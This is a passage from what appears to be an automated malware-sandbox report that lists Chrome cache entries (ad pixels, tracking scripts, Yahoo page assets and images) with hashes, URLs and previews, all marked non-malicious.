inancePremiumTicker,enableAdLiteUpSellFeedback,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1sbetl5j2qvpa"
Preview:	{"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"government;transportation","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0a6T00000R2KXGQA3;revsp:cnn_articles_875;lpstaid:99ec3df7-bf20-382a-9567-4240d7a85639;pt:content;pd:modal;ver:megastrm;pct:story","site_attribute":"wiki_topics=\"Derailment;BNSF_Railway;Interstate_40;New_Mexico;New_Mexico_State_Police;Pete_Buttigieg;Arizona;Mexico%e2%80%93United_States_border;Katie_Hobbs;McKinley_County,_New_Mexico\" ctopid=\"1106000\" hashtag=\"1106000\" rs=\"lmsid:a0a6T00000R2KXGQA3;revsp:cnn_articles_875;lpstaid:99ec3df7-bf20-382a-9567-4240d7a85639;pt:content;pd:modal;ver:megastrm;lu:0;pct:story\"","spaceid":"1197792446","site":"news","enabled":true,"pos":"","showBodyAds":false,"showPhotoAds":false},"alias":"ymedia-alias:shadow=evacuations-ordered-dozens-train-cars-171317003","canonicalUrl":"https://www.cnn.com/2024/04/27/us/new-mexico-train-derailment-evacuation/index.html","categoryLabel":"U.S.","commentsAllowed":tru

Chrome Cache Entry: 672

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 673

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1329)
Category:	downloaded
Size (bytes):	1330
Entropy (8bit):	5.318799758811988
Encrypted:	false
SSDEEP:	24:ciOaqRsQ9yTLLT7LbSIOyKW5Q00mmF0oKWcxxRLilRGg1NGUXRUsI0fS5:zjqRQLzHdOy3QHXF3KWcxK1zDRUsm
MD5:	E8DF3178BF9BE8642D2AF1797F218868
SHA1:	72D8CE2A8BDE2C432F50795D1D172C565DF33669
SHA-256:	8B7335A8FF15B973E45A5788E8E6A5C5D6D9CF6F6F9F63FC9E9202AFCC2D1844
SHA-512:	243072829BB49B0D68C89037BD32FABB1C5BF2D2F4A06D9755C4C18E90AD5A7668AA0964E31555A339637966ED2BFE00DA448CF32EF319A0E61AD247AAD96FBE
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/vzm/cs_1.6.0.js
Preview:	!function(){"use strict";var c=window,t=c.document;function n(t,n,e,r){if(!t\|\|!n\|\|"function"!=typeof c[t])return r();try{c[t](n,e,(function(c,t){r(c,t)}))}catch(c){r()}}c.COMSCORE={_version:"1.6.0",beacon:function(e){n("__uspapi","getDoNotSell",1,(function(r,o){n("__tcfapi","getTCData",2,(function(n,p){var s=JSON.parse(JSON.stringify(e\|\|{})),i=n&&n.gdprApplies\|\|!1,f=c.YAHOO&&c.YAHOO.comscore\|\|{},a=c.rapidInstance&&c.rapidInstance.getRapidAttribute;s.c1=s.c1\|\|"2",s.c2=s.c2\|\|f.c2\|\|"7241469",s.c5=s.c5\|\|a&&a("spaceid"),s.c7=s.c7\|\|t.location.href,s.c8=s.c8\|\|t.title\|\|"",s.c9=s.c9\|\|t.referrer\|\|"",s.c14=s.c14\|\|f.c14\|\|"-1",s.gdpr=i?1:0,s.gdpr_consent="",i?p&&n&&(s.gdpr_consent=n.tcString\|\|""):o&&r&&"boolean"==typeof r.doNotSell?s.cs_ucfr=r.doNotSell?0:1:s.cs_ucfr=0,s.cs_ucfr&&(s.cs_fpid=s.cs_fpid\|\|f.cs_fpid),s.cs_fpid&&(s.cs_fpdm=f.cs_fpdm\|\|null,s.cs_fpdt=f.cs_fpdt\|\|"01",s.cs_fpit=f.cs_fpit\|\|"c"),s.ns_c="UTF-8",s.ns__t=(new Date).getTime();var _=[];for(var d in s)if(s.hasOwnProperty(d)){var u=s

Chrome Cache Entry: 675

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=yieldmo_dbm&google_hm=VmNKblNTU1hYblNxMTlBTDlrU1E=
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 676

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	237
Entropy (8bit):	4.578085753393818
Encrypted:	false
SSDEEP:	6:5XA9QzLtLgVxXAbuGMLoa7ARQXA9QzLsJLn:RA2J0VJAbm7AR2A2M
MD5:	FDF1FC8FE6BC6D08523F7958B8EDF2B5
SHA1:	64BFDD0AF4AC4C7B85D70D469D6BA14D931E15F9
SHA-256:	1BA4AEFDEE0BB016C7BD948333B442DE969C615B101F54686DE08ADAD125F4FF
SHA-512:	F630F5614C5E7F47C020D5E24F0883E4C89CFF47ADB7BD67D8378F36A7B75075FB08358D9D97CF1936FAE293C3F07B2B315D72801A2687DF48A888EC857EF138
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/fp/css/react-wafer-shopping.custom.desktop.fdf1fc8fe6bc6d08523f7958b8edf2b5.css
Preview:	.shopping-product:hover .shopping-caption-container{width:155px!important}.shopping-product:hover .shopping-caption{opacity:1!important}@media (max-width:1190px){.shopping-product:hover .shopping-caption-container{width:125px!important}}

Chrome Cache Entry: 677

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (820)
Category:	downloaded
Size (bytes):	1019
Entropy (8bit):	5.5901540619994075
Encrypted:	false
SSDEEP:	24:2e2C6hHfhiVIKop0EGxiWfwpuNWKzN9ddnOCE4B6VBf:2e2C6lIYNGiFcnddD1B6VBf
MD5:	4B429F503B6BB27FE07F01851909F8AD
SHA1:	09E3724FC808F790171147747EB232BAB935A87E
SHA-256:	B193CAE96173442DE5152A0DE5485279EC20C923F92ECAC78D98AF11C6A4055F
SHA-512:	1E2093A087A0D60564AB413556353698002323B9CDDCDA58406A95707579CA6528C4FFD486824E520A7421B9872D0E0831260A50E381B65EAF754BD838351DA8
Malicious:	false
Reputation:	low
URL:	https://u.openx.net/w/1.0/cm?cc=1&id=891039ac-a916-42bb-a651-4be9e3b201da&ph=a3aece0c-9e80-4316-8deb-faf804779bd1&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dopenx%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%7BOPENX_ID%7D
Preview:	<html>.<head><title>Pixels</title></head>.<body>.<script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script>..<img src="https://pbs.yahoo.com/setuid?bidder=openx&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=e371b1cd-b253-0913-153a-eaacb9b94c53"><img src="https://sync-tm.everesttech.net/upi/pid/ny75r2x0?redir=https%3A%2F%2Fus-u.openx.net%2Fw%2F1.0%2Fsd%3Fid%3D537148856%26val%3D%24%7BTM_USER_ID%7D"><img src="https://pr-bh.ybp.yahoo.com/sync/openx/4e685846-9b60-a8b3-4f61-3c4cc7b54397?gdpr=0"><img src="https://s.amazon-adsystem.com/dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=8279427f-1766-8100-beb8-a82e50d1453e"><img src="https://match.adsrvr.org/track/cmf/openx?oxid=daaf3e02-0bcc-3afa-7eb6-2ab938e28ede&gdpr=0"><img src="https://cm.g.doubleclick.net/pixel?google_nid=openx&google_hm=ZjZjMGVkYzgtYzJiYi02NDVlLTZiNTYtNzAwMGYyMDA0MGJl"><img src="https://cm.g.doubleclick.net/pixel?google_nid=openx&google_cm&google_sc"

Chrome Cache Entry: 678

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=rp&google_hm=TFZJT1NBMVctNy02RENN&google_push=&gdpr=0
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 679

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1200x627, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	15614
Entropy (8bit):	7.988647458849318
Encrypted:	false
SSDEEP:	384:y8dxwr13Vd3XnYYLhJIl5OjdVpxzY8ETgYqxRgGZE1UH:y8HOHYYVYW1+tqpe1k
MD5:	8AB75A70BD5025BB56CFC599E345E22E
SHA1:	B416E53CC0F49ED3DA0FA0F8E1325A13F30EB52B
SHA-256:	CB8A990CAE18813934045440E4A3522E14CB2A4A433226943F79F27D2138075A
SHA-512:	B1130F33D1D6A52A5B1B4D0EA984405C490D0579F6B04CE01DB894C721B9E1B6D0BE75AC317314676EEB1CEBC7F651683A84E9563E31367E3B73D6A41C47E15F
Malicious:	false
Reputation:	low
Preview:	RIFF.<..WEBPVP8 .<...U.....s.>m6.H.&1.%...0..in...d..\.n.@.........o..a......,0_.^...=..y.......<.....i\|.n.0..}.#.../....?....f.....o......Ud[....I...W.....O..Y..x4S...>.?....N.-.F$d.zys%..I...6.D.l..X.h..E...=s.N\Q..a..?_....\|...@.@.U.K..>\|..C-t...c.J8;f..?...0..}CX..u....R&>..m%l...1.....GK2.G`..$]T....rmP. I..Ox...k'..v....r..O.t..$._.(^A.....,...o.2..RRg.Ut@.h...q...;y".....\j~O.......N..=...0.5.Z0[.w.\..2......_..4...+..~2F.@.U7.y-FI/.=.>..Bi...9.z...K...Yb.......6Bha+.2..2.A...k........K.U..Z...\|.KVk.......&0.........Q.....E...L.n..bz'..d...</U.`J.>u.hL.............H..-.+k.~6..M..R.S\..h0f...X{..`.z.h=.k.\I....:....5.T.....QX....2;.Q_8L._^P.~..V.z..}..c..,......_.T.B....T.8...:.e.....C..d.z3.../....szp_.{\...X...\...Oy.GR..M,Y.$...dt...L....q..#..}52.-2.#....l..7.=#.IY..Y...w. t@?..E.n........P......2p..N..F.E.K.`......g..e5.z......'(^..Y....8y...o:..@.."!Y.8+$+...s.^u..>R.).k..[.V.YoY..u..D.P...W..x\K?u...t.X\|.3DO8.C..'w:e.c....

Chrome Cache Entry: 680

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (29755), with no line terminators
Category:	downloaded
Size (bytes):	29755
Entropy (8bit):	5.264882021305187
Encrypted:	false
SSDEEP:	768:ojcTONfnLjfa9pKpwLhrnVrjDiiNW56vHEm6XfUyBZ4EfC5kCl:3TenvfEOwL9Vr7HhybPM
MD5:	798299E9FBB5CCB39C74E2CB1B118F39
SHA1:	D84D5EC5CDB5AB207C934C125D0F0759E044D085
SHA-256:	D79D1AF7581601236385A7A47F8E1E26579A54161EB0155F783C284E2D8941E2
SHA-512:	7E0E24A672231DD820A6CAE35FCD4990840F56A2738712635B08D890AD7D4C43A137EA3EDB645C97E03B279A26C8FC2C54069F13AED4CCDBD7EC5B6BDB548DFE
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-video-3.1.2-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-video",[],t):"object"==typeof exports?exports["wafer-video"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-video"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(a){if(i[a])return i[a].exports;var n=i[a]={i:a,l:!1,exports:{}};return e[a].call(n.exports,n,n.exports,t),n.l=!0,n.exports}var i={};return t.m=e,t.c=i,t.d=function(e,i,a){t.o(e,i)\|\|Object.defineProperty(e,i,{configurable:!1,enumerable:!0,get:a})},t.n=function(e){var i=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(i,"a",i),i},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,i){"use strict";function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}functio

Chrome Cache Entry: 681

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=sovrn&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=IkESATZH81_FapvzRxGQQ8ru&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 682

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1615), with no line terminators
Category:	downloaded
Size (bytes):	1615
Entropy (8bit):	5.020901609734713
Encrypted:	false
SSDEEP:	48:g5Ww5dw4MwlZEa09wmSitQjw4EHG9cBKtVns8RHtm:W5aUl/06mukja7Htm
MD5:	12732500BC8E47693F0D777BBE88001C
SHA1:	97865CCE1C0CD35BAC8AC4B42DC9C6C394DA4809
SHA-256:	A03F9A37E34771C42CF7930B2F466EA2077D149F6DBA0E81982E7715A87DD8EF
SHA-512:	9ED4368E2415EDEFA87BB461BE701E268F93C076852660B2F3B2E661C25D66CDDDA0DBC236410361935365DD954FE1DDF07541CB44557DE25E85FB73BC2FE2BD
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/fp/js/react-wafer-featurebar.custom.modern.12732500bc8e47693f0d777bbe88001c.js
Preview:	window.addEventListener("load",(function(){var t="featurebarId",e=document.getElementsByClassName("react-wafer-Featurebar")[0];if(e){if(e.classList&&e.classList.contains&&e.classList.contains("auto-close")){var a=e.getElementsByClassName("featurebar-content")[0],s=a&&a.getElementsByTagName("a")[0],n=s&&s.getAttribute("data-uuid"),o=function(t){var e;try{e=JSON.parse(window.localStorage.getItem(t))\|\|{}}catch(t){}return e}(t);if(n!==o)e.classList.remove("D(n)"),Array.prototype.slice.call(e.getElementsByClassName("featurebar-close-button")).forEach((function(e){e.addEventListener("click",(function(){!function(t,e){try{window.localStorage.setItem(t,JSON.stringify(e))}catch(t){}}(t,n)}))}))}if(e.classList&&e.classList.contains&&e.classList.contains("auto-play")){var r=window.getComputedStyle(e).height,l=Array.prototype.slice.call(e.getElementsByClassName("featurebar-content")),i=0,c=(i+1)%l.length;function u(){setTimeout((function(){l[i].style.transitionDuration=".8s",l[i].style.transform="

Chrome Cache Entry: 683

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 684

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.5465935642949384
Encrypted:	false
SSDEEP:	3:YHAXW2Vn:YglVn
MD5:	97EFE0B7EE61E154D57E80758BB797D8
SHA1:	810B4E115FE9F5AE697666FEBF2A9ABF0B21C9EC
SHA-256:	EFABBA3678B85FCAB831B778EA2DDAAD1E2A1E952584D3566BC39B7CCB3429D9
SHA-512:	AA02209CF80FC2564CE0DB0BF9F30241E92EA33101B55FFE5E26D617F90B74277AE68D714A7B00C792EF2B88B582E3F299213A5C3C9BF9AFE6C6C1800FC276AF
Malicious:	false
Reputation:	low
Preview:	{"bakers":[]}

Chrome Cache Entry: 685

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	19
Entropy (8bit):	3.6818808028034042
Encrypted:	false
SSDEEP:	3:VQRWN:VQRWN
MD5:	9FAE2B6737B98261777262B14B586F28
SHA1:	79C894898B2CED39335EB0003C18B27AA8C6DDCD
SHA-256:	F55F6B26E77DF6647E544AE5B45892DCEA380B7A6D2BFAA1E023EA112CE81E73
SHA-512:	29CB8E5462B15488B0C6D5FC1673E273FB47841E9C76A4AA5415CA93CEA31B87052BBA511680F2BC9E6543A29F1BBFBA9D06FCC08F5C65BEB115EE7A9E5EFF36
Malicious:	false
Reputation:	low
URL:	https://www.google.com/async/ddljson?async=ntp:2
Preview:	)]}'.{"ddljson":{}}

Chrome Cache Entry: 686

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 560x272, components 3
Category:	dropped
Size (bytes):	71564
Entropy (8bit):	7.963762216011014
Encrypted:	false
SSDEEP:	1536:hXL0ME0zwj/cBCYEmTdRIozwEdHINhp3zvOpjGt6MQpf7vP+ZQRJw+Ut7xVrMR0t:FL20zM0BCtmTnISwECNb3bOgtn0rlJwd
MD5:	BCE3A933633D2100DA56A5AC06894B27
SHA1:	DFCBBC99481BEB1E90E7EE519B94CEE3E1DF2F9F
SHA-256:	E800026940895E6485965F22E8A71369829B5411ACA1C16973481097C280FB40
SHA-512:	BC88F6B317919B91AE1F7D1513DA7EC853C516D2FAEA30D3692B1F108F6008D828B48764F9F620AD119B9D9D1CEBFF866771AB034490782228425CC2903D7A5F
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................0............................................K..........................!1.A."Qa.2q..#...B...3Rb...$..%Cr..4..5DE.Scs.............................................................!"1A.2.QBa.#Rq.b.3.............?.z>.W]\|<....`..".9.L3.....JZ.f....V.....{..)..U.u.g%..z....l....X.......f$.[7../2......lM...P.I.r..$G....eV.......;.....V..e.>e)-.....T..H.5=E.....J[....q,.Z...j...R'.\.t.-.~...bps..Z.IJ_.T$X-C...........{.z....M...};..g...1,... ..N..Z..IJ,w..s.i.......YfAm{..Bn?2...{lN...uM.......Q.[Q....8..%..^.;"[.<.U...Y....o...d.....)).Z..m...A.~..2.c....2<r...6R...m.....H.. .K.............m.....xR. .l.)(Tm@(..(m...........N..(s.V....E........ pN......2....b-.l....~..[...Ut.G&.....bm.6.s.........v...U..6......6..Y.\C.1....N..ij$.c..n._.Q..i..r.E.\|.R............9.:t....01.......`...

Chrome Cache Entry: 687

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	68
Entropy (8bit):	4.403590365002627
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tJ8/V+/B6dS8p:6v/lhPfA/UJ63p
MD5:	EDB2AA47631C67A43709D4CCD2501E33
SHA1:	87475B448C53CF32FFE78AB121DB8BAB41D478E0
SHA-256:	6019C3C9E47DC991F8D9937DEAFBB0740C2E61E321324798CB508773B0814824
SHA-512:	65820EEAF261F01988570AFE7866D9B83901950DFBD89542009A1FAAAE520E1AF2FA08789B7E94A64B0E1A3BDC39256354EFE1D38856621851DD65E80505DBB2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................IDATx.c........o.......IEND.B`.

Chrome Cache Entry: 688

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 81 x 86, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	7835
Entropy (8bit):	7.930109831718336
Encrypted:	false
SSDEEP:	192:6PIqoR77FXqQZC1r63VlO6dU0NGcxZJDU3FR6Wcp:6PQR5qQZIutN7xZJMR6Wcp
MD5:	D0EE6041D90031B68FDF3426CC70B151
SHA1:	318FAA513C7E2FA54D629B38E3C852A3CB73E4E8
SHA-256:	F729CA40CDC9FBD6986A22A149674B5F40B7F02DD9E8BC7071DA71C79633882D
SHA-512:	EEA12C535C9AB51E42452D92C44A401F98F3CC310E1471D4C2F6603AF74BF9A4AE3A734B58B2EAAF29D710A02384FF6CA93C3533E08B8C3CE7CD0847B35F6CBF
Malicious:	false
Reputation:	low
URL:	https://mcc-cms-s3.s3.amazonaws.com/adServingAssets/icon.png
Preview:	.PNG........IHDR...Q...V.....8.......tEXtSoftware.Adobe ImageReadyq.e<...CiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:C26E8A042ED511EEAD4BBEE496C644B7" xmpMM:InstanceID="xmp.iid:C26E8A032ED511EEAD4BBEE496C644B7" xmp:CreatorTool="Adobe Photoshop 24.7 (20230612.m.2205 9cfa76c) (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2DED90FD086F11EE86A4DA2C433DF55F" stRef:documentID="xmp.did:2DED90FE086F11EE86A4DA2C433DF55F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>3)......IDATx..\g...u.....;\..!G". AP$....I..I.hQ.d..PV...J..K...JeKe.HQ.E.b.D0....

Chrome Cache Entry: 689

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 690

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 2048x2048, components 3
Category:	dropped
Size (bytes):	115000
Entropy (8bit):	7.707891058966984
Encrypted:	false
SSDEEP:	1536:eP0sOVs0Yw+PwzVkkPQopF7Q7l1kXBluVoFZCJ2jqC6fDAReNsYplzY50xE99kWR:ePRjwKekECl1kR2C6LAcNsEzi9mY
MD5:	00B88984A4D625E3B7C6DAD0D092A9C7
SHA1:	232623296010FDD57B29CFA7F4FE67A045A5D2AC
SHA-256:	09A0E58F1A08528792FE7D7E2A3FE551771B5F35FAB4541711E350922221B5D0
SHA-512:	F32986311A5B98E8C9DB8AECCCAA0A7088F62A8FCA66158864F7406E085B3811690693211DF6122E7112F5EC75B2F48BADA6CF3577198C25F0870728CFA13566
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C......................"....)$+($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHE...C.......!..!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE...........".................................................................................!..V...i....ZX.c.^-0.Qv".2.;.....f...Z.0. E...\L.1f.b.$D.c.R-"P.h....W>....V&$....dIe.:.\2Lc.7........................................................................~].$H..U..&..^...DR.e..4.z.E"b..........-.....YJ...Z..d.l..%.[.Q..H.V..@.7.\..je.~.......................................................................v..S5.kFYk3sY.e....#(..ZS.2c......Q5!+...-.:.I.8.H.I..I...U..Y.E.TR.j.x....1.:.....g..~.......................................................................{.Ly-[..2Kz^...Y....Yr.5lV.^"....zUEM.2. .,....BsJ...k....lt...+x..-.HD.8..b.W..MD.....Vj...\|9...p...................................................................?/c.5j..f.l.U.`^lV/U..dEI.H.5.ij...&fZE...Yqd3.c:.H..<.le..\|.....)."'&)..&(.v ^kh.1j.[

Chrome Cache Entry: 691

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 692

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2709)
Category:	downloaded
Size (bytes):	96160
Entropy (8bit):	5.518629584665947
Encrypted:	false
SSDEEP:	1536:NGutnTqYCDzPzJeUAU3zSy8PFu+3sgUD1LL6WfQg:nnTq7zkUAwzS9L3sgWLLLfN
MD5:	E5DB9525F3D7EFD966AE63ABA86669E0
SHA1:	EF9DADB1023BAC903273F17E8DDE163D0FD7CF1E
SHA-256:	CDB7911DD984DC9B0840A0A94E711600B05DD72D612465FDB18ECFB67EA9E66C
SHA-512:	988E944410D6700C1265A5F2BF315F5B4A9051DE79ADEB38D43B38F0B0E43326D2CB3F87C750C9C5F0C8175BEE4625BA4F3FF6234A8D05CEB83AB4471ECF76FC
Malicious:	false
Reputation:	low
